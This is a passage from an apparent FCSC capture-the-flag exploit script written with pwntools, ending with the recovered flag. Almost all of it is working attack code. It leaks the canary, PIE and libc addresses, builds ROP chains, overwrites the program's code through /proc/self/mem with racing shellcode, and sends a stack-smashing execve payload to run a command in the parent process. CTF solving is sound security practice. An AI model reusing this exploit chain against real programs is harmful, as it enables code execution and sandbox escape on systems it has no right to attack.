    log.info(f"dlsym notify={notify_addr:#x} shm_global={shm_global_addr:#x}")
    log.info(f"globals raw={raw.hex()}")
    return libsb, pipe_fd, shm, final_stage_area


def make_shellcode(shm, pipe_fd, table, gadget, target_addr, second_arg, command, start_delay, valid_hold, k_hold, system_hold, oneshot, readrop=False):
    msg = shm + 8
    ctrl = msg + 0x100
    if (ctrl - table) % 4:
        raise ValueError("unaligned jump-table control slot")
    k = ((ctrl - table) // 4) & ((1 << 64) - 1)
    off = (gadget - table) & 0xFFFFFFFF

    cmd = msg + 0x80
    argv = msg + 0x90
    zero = msg + 0xA0
    command = command.encode()
    if len(command) > 8:
        raise ValueError("shellcode command string is limited to 8 bytes")
    command_word = int.from_bytes(command.ljust(8, b"\x00"), "little")

    def spin(name, count):
        if count <= 0:
            return ""
        return f"""
        mov r8d, {count}
    {name}:
        pause
        dec r8d
        jne {name}
        """

    if oneshot:
        race_body = f"""
        mov qword ptr [r15], r13
        {spin("k_spin", k_hold)}
    system_forever:
        cmp dword ptr [r9], 1
        jne loop_start
        pause
        jmp system_forever
        """
    else:
        race_body = f"""
    race_spin:
        cmp dword ptr [r9], 1
        jne loop_start

        mov qword ptr [r15], 0
        {spin("valid_spin", valid_hold)}
        mov qword ptr [r15], r13
        {spin("k_spin", k_hold)}
        cmp dword ptr [r9], 1
        jne loop_start
        jmp race_spin
        """

    call_arg0 = 0 if readrop else cmd
    loaded_dword = 0x200 if readrop else 0

    code = f"""
        mov r15, {msg}
        mov r14d, {pipe_fd}
        mov r13, {k}
        mov r12, {second_arg}
        mov r11d, {off}
        mov r10, {cmd}
        mov r9, {shm}

        mov qword ptr [r15+8], r10
        mov dword ptr [r15+0x10], 1
        mov qword ptr [r15+0x18], {call_arg0}
        mov rax, {zero}
        mov qword ptr [r15+0x38], rax
        mov rax, {target_addr}
        mov qword ptr [r15+0x40], rax
        mov rax, {command_word}
        mov qword ptr [r15+0x80], rax
        mov byte ptr [r15+0x88], 0
        mov qword ptr [r15+0x90], r10
        mov qword ptr [r15+0x98], 0
        mov qword ptr [r15+0xa0], {loaded_dword}
        mov dword ptr [r15+0x100], r11d

    loop_start:
        cmp dword ptr [r9], 0
        jne loop_start

        mov qword ptr [r15], 0
        mov qword ptr [r15+8], r10
        mov dword ptr [r15+0x10], 1
        mov qword ptr [r15+0x18], {call_arg0}
        mov rax, {zero}
        mov qword ptr [r15+0x38], rax
        mov rax, {target_addr}
        mov qword ptr [r15+0x40], rax
        mov qword ptr [r15+0x90], r10
        mov qword ptr [r15+0x98], 0
        mov qword ptr [r15+0xa0], {loaded_dword}
        mov dword ptr [r9], 1

        mov eax, 1
        mov edi, r14d
        lea rsi, [r15+0x88]
        mov edx, 1
        syscall

    start_delay:
        cmp dword ptr [r9], 1
        jne loop_start
        {spin("start_delay_spin", start_delay)}

        {race_body}
    """
    return asm(code), k, off


def build_stage3(pie, libc, libsb, shm, pipe_fd, args, rop_base=None):
    table = libsb + JUMPTABLE
    target_addr = libc + (LIBC.sym["read"] if args.call_func == "readrop" else LIBC.sym[args.call_func])
    msg = shm + 8
    second_arg = msg + 0x90 if args.call_func == "execve" else 0
    gadget = libc + PARENT_GADGET
    shellcode, k, off = make_shellcode(
        shm, pipe_fd, table, gadget, target_addr, second_arg, args.command,
        args.start_delay, args.valid_hold, args.k_hold, args.system_hold, args.oneshot,
        readrop=(args.call_func == "readrop"),
    )
    log.info(f"race table={table:#x} gadget={gadget:#x} {args.call_func}={target_addr:#x} k={k:#x} off={off:#x}")

    scratch = rop_base if rop_base is not None else pie + BSS
    data_off = 0x400
    stage_data = b"/proc/self/mem\x00".ljust(0x40, b"\x00") + shellcode
    data_addr = scratch + data_off
    code_src = data_addr + 0x40
    code_dst = pie + 0x1230

    chain = b""
    chain += syscall_chain(libc, 2, data_addr, 2, 0)
    chain += flat(
        libc + POP_RDI, 3,
        libc + POP_RSI, code_src,
        libc + POP_RDX, len(shellcode),
        libc + POP_RCX_RBX, code_dst, 0,
        libc + LIBC.sym["pwrite64"],
        code_dst,
    )
    if len(chain) > data_off:
        raise ValueError("stage3 ROP overlaps data")
    payload = chain.ljust(data_off, b"\x00") + stage_data
    return payload, {"shellcode_len": len(shellcode), "k": k, "off": off, "dst": code_dst}


def parent_stack_payload(canary, libc, shm):
    msg = shm + 8
    path = msg + 0x80
    argv = msg + 0x90
    rop = flat(
        libc + POP_RDI, path,
        libc + POP_RSI, argv,
        libc + POP_RDX, 0,
        libc + LIBC.sym["execve"],
    )
    return b"A" * 0x68 + p64(canary) + b"B" * 0x28 + rop


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--remote")
    parser.add_argument("--tries", type=int, default=10)
    parser.add_argument("--start-delay", type=int, default=200)
    parser.add_argument("--valid-hold", type=int, default=4)
    parser.add_argument("--k-hold", type=int, default=3)
    parser.add_argument("--system-hold", type=int, default=12)
    parser.add_argument("--oneshot", action="store_true")
    parser.add_argument("--deadline", type=float, default=4)
    parser.add_argument("--call-func", default="readrop")
    parser.add_argument("--command", default="/getflag")
    args = parser.parse_args()

    last_error = None
    for attempt in range(args.tries):
        io = start(args)
        try:
            recv_prompt(io)
            io.send(leak_payload())
            data = io.recvuntil(b"Is it correct ? (y/n): ", timeout=3)
            leak, canary, pie, libc = parse_leak(data)
            log.info(f"attempt={attempt} canary={canary:#x} pie={pie:#x} libc={libc:#x}")
            io.send(b"n\n")

            libsb, pipe_fd, shm, final_stage_area = resolve_globals_and_pivot(io, canary, pie, libc)
            log.info(f"libsb={libsb:#x} pipe_fd={pipe_fd} shm={shm:#x}")
            stage3, info = build_stage3(pie, libc, libsb, shm, pipe_fd, args, final_stage_area)
            log.info(f"installed shellcode: {info}")
            io.send(stage3.ljust(0x800, b"\x00"))
            if args.call_func == "readrop":
                time.sleep(0.05)
                io.send(parent_stack_payload(canary, libc, shm))

            out = b""
            deadline = time.time() + args.deadline
            while time.time() < deadline:
                try:
                    chunk = io.recv(timeout=0.1)
                except EOFError:
                    break
                if not chunk:
                    continue
                out += chunk
                if b"FCSC{" in out:
                    print(out[-4096:].decode(errors="replace"))
                    return
                if b"Error opening /flag.txt" in out:
                    print(out[-4096:].decode(errors="replace"))
                    return
                if b"/getflag: not found" in out:
                    print(out[-4096:].decode(errors="replace"))
                    return
                if len(out) > 65536:
                    out = out[-65536:]
            if b"FCSC{" in out or b"Error opening /flag.txt" in out or b"/getflag: not found" in out:
                print(out[-4096:].decode(errors="replace"))
                return
            print(out[-4096:].decode(errors="replace"))
            io.close()
        except Exception as e:
            last_error = e
            log.warning(f"attempt {attempt} failed: {e}")
            try:
                io.close()
            except Exception:
                pass
    raise SystemExit(f"failed after {args.tries} tries: {last_error}")


if __name__ == "__main__":
    main()

Flag:

FCSC{faeebeeeaa6369be7079b085470bc92103cda6133a55d1df7b0c45f05f026e60}